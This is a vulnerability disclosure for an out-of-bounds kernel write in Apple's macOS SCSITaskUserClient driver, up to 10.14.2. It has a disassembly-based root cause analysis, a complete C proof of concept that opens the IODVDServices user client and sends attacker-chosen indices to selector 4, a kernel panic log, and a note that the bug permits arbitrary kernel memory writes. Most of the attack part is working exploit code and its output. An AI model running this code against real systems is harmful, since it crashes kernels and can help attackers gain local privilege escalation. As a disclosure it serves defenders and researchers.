Apple macOS SCSITaskUserClient Out of Boundary Write

Overview

This vulnerability existsd in I/O Kit module SCSITaskUserClient.

Root Cause Analysis

In function SCSITaskUserClient::externalMethod selector 4, it doesn’t check the value of scalarInput[0]. It can be any value assigned from attacker. The value is passed to ReleaseTaskReference directly.

mov     rax, [r15+20h]  ; scalarInput
mov     esi, [rax]      ; int
mov     rdi, r12        ; this
call    __ZN18SCSITaskUserClient20ReleaseTaskReferenceEi ; SCSITaskUserClient::ReleaseTaskReference(int)
jmp     loc_1BC4

In function SCSITaskUserClient::ReleaseTaskReference, it has out-of-boundary write (OOW) issue.

; __int64 __fastcall SCSITaskUserClient::ReleaseTaskReference(SCSITaskUserClient *this, int)
public __ZN18SCSITaskUserClient20ReleaseTaskReferenceEi
__ZN18SCSITaskUserClient20ReleaseTaskReferenceEi proc near
push    rbp
mov     rbp, rsp
push    r15
push    r14
push    r13
push    r12
push    rbx
push    rax
mov     r13d, esi
mov     r15, rdi
movsxd  rbx, r13d
mov     edi, 5275011h   ; unsigned __int64
xor     ecx, ecx        ; unsigned __int64
mov     rsi, r15        ; unsigned __int64
mov     rdx, rbx        ; unsigned __int64
call    __ZL19RecordSTUCTimeStampmmmmm ; RecordSTUCTimeStamp(ulong,ulong,ulong,ulong,ulong)
lea     r14, [r15+rbx*4+170h]  ------(a)
xor     edi, edi
mov     esi, 1
mov     rdx, r14
call    _OSCompareAndSwap

At location (a), it uses the value from attacker as an index. Obvisouly, it leads to OOW.

PoC Code

Please run the PoC with DVD service enabled since I use the IODVDServices to get SCSITaskUserClient.
I run the PoC in my VM fusion.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>


void trigger(io_connect_t conn)
{
    uint64_t INPUTSCALAR[8];
    uint32_t INPUTSCALARCNT = 1;
    
    char INPUTSTRUCT[4096];
    size_t INPUTSTRUCTCNT = 0;
    
    uint64_t OUTPUTSCALAR[8] = {0};
    uint32_t OUTPUTSCALARCNT = 0;
    
    char OUTPUTSTRUCT[4096];
    size_t OUTPUTSTRUCTCNT = 0;
    
    //FILL INPUT
    INPUTSCALARCNT = 1;
    
    OUTPUTSCALARCNT = 0;
    INPUTSTRUCTCNT = 0;
    OUTPUTSTRUCTCNT = 0;
    
    for (int i=0;i<0x1000;i++) {
        INPUTSCALAR[0] = i * 4;
        
        IOConnectCallMethod(
                            conn,
                            4,
                            INPUTSCALAR,
                            INPUTSCALARCNT,
                            INPUTSTRUCT,
                            INPUTSTRUCTCNT,
                            OUTPUTSCALAR,
                            &OUTPUTSCALARCNT,
                            OUTPUTSTRUCT,
                            &OUTPUTSTRUCTCNT);
    }

    
}


int main(){
    
    kern_return_t err;
    
    CFMutableDictionaryRef Matching = IOServiceMatching("IODVDServices");
    
    if(!Matching){
        
        printf("UNABLE TO CREATE SERVICE MATCHING DICTIONARY\n");
        
        return 0;
        
    }
    
    io_iterator_t iterator;
    
    err = IOServiceGetMatchingServices(kIOMasterPortDefault, Matching, &iterator);
    
    if (err != KERN_SUCCESS){
        
        printf("NO MATCHES\n");
        return 0;
    }
    
    io_service_t service = IOIteratorNext(iterator);
    
    if (service == IO_OBJECT_NULL){
        
        printf("UNABLE TO FIND SERVICE\n");
        
        return 0;
        
    }
    
    io_connect_t CONN = MACH_PORT_NULL;
    
    err = IOServiceOpen(service, mach_task_self(), 12, &CONN);
    
    if (err != KERN_SUCCESS){
        
        printf("UNABLE TO GET USER CLIENT CONNECTION\n");
        
        return 0;
        
    }else{
        
        printf("GOT USERCLIENT CONNECTION: %X, TYPE:%D\n", CONN, 0);
        
    }
    
    trigger(CONN);
    
    printf("PANIC?\n");
    
    return 0;
    
}

Panic Log

Anonymous UUID:       039B94D9-F271-8A3F-BAE4-C8BF9D6B5BEE

Mon Jan 21 15:27:57 2019

*** Panic Report ***
panic(cpu 0 caller 0xffffff800d2da1ed): Kernel trap at 0xffffff800d7c2cd6, type 14=page fault, registers:
CR0: 0x000000008001003b, CR2: 0xffffff801c3c1000, CR3: 0x00000000081500f4, CR4: 0x00000000003606e0
RAX: 0x0000000000000000, RBX: 0x0000000000002924, RCX: 0x0000000000000000, RDX: 0xffffff801c3c1000
RSP: 0xffffff887077bab0, RBP: 0xffffff887077bab0, RSI: 0x0000000000000001, RDI: 0x0000000000000000
R8:  0x0000000000000000, R9:  0x0000000000000000, R10: 0xffffff8018122088, R11: 0xffffff800d859080
R12: 0xffffff801c3b6a00, R13: 0x0000000000002924, R14: 0xffffff801c3c1000, R15: 0xffffff801c3b6a00
RFL: 0x0000000000010246, RIP: 0xffffff800d7c2cd6, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0xffffff801c3c1000, Error code: 0x0000000000000002, Fault CPU: 0x0 VMM, PL: 0, VF: 1

Backtrace (CPU 0), Frame : Return Address
0xffffff887077b580 : 0xffffff800d1aeafd mach_kernel : _handle_debugger_trap + 0x48d
0xffffff887077b5d0 : 0xffffff800d2e85a3 mach_kernel : _kdp_i386_trap + 0x153
0xffffff887077b610 : 0xffffff800d2d9fca mach_kernel : _kernel_trap + 0x4fa
0xffffff887077b680 : 0xffffff800d15bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff887077b6a0 : 0xffffff800d1ae517 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff887077b7c0 : 0xffffff800d1ae363 mach_kernel : _panic + 0x63
0xffffff887077b830 : 0xffffff800d2da1ed mach_kernel : _kernel_trap + 0x71d
0xffffff887077b9a0 : 0xffffff800d15bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff887077b9c0 : 0xffffff800d7c2cd6 mach_kernel : _OSCompareAndSwap + 0x6
0xffffff887077bab0 : 0xffffff7f8f03fa00 com.apple.iokit.SCSITaskUserClient : __ZN18SCSITaskUserClient20ReleaseTaskReferenceEi + 0x40
0xffffff887077baf0 : 0xffffff7f8f03fd41 com.apple.iokit.SCSITaskUserClient : __ZN18SCSITaskUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x241
0xffffff887077bb30 : 0xffffff800d88e91f mach_kernel : _is_io_connect_method + 0x20f
0xffffff887077bc70 : 0xffffff800d294bb4 mach_kernel : _iokit_server_routine + 0x5e84
0xffffff887077bd80 : 0xffffff800d1b42bd mach_kernel : _ipc_kobject_server + 0x12d
0xffffff887077bdd0 : 0xffffff800d18ebe5 mach_kernel : _ipc_kmsg_send + 0x225
0xffffff887077be50 : 0xffffff800d1a359e mach_kernel : _mach_msg_overwrite_trap + 0x38e
0xffffff887077bef0 : 0xffffff800d2c170b mach_kernel : _mach_call_munger64 + 0x22b
0xffffff887077bfa0 : 0xffffff800d15c486 mach_kernel : _hndl_mach_scall64 + 0x16

Q & A

How did you find this vulnerability?

by fuzzing.

Can you identify exploitability?

This is a Out-of-Boundary write vulnerability. It can write arbitrary kernel memory with value 1.

Can you identify root cause?

Yes, see the root cause analysis.

Vulnerable software and hardware

macOS 10.14.2 and all before with DVD service enabled.
vulnerable module: SCSITaskUserClient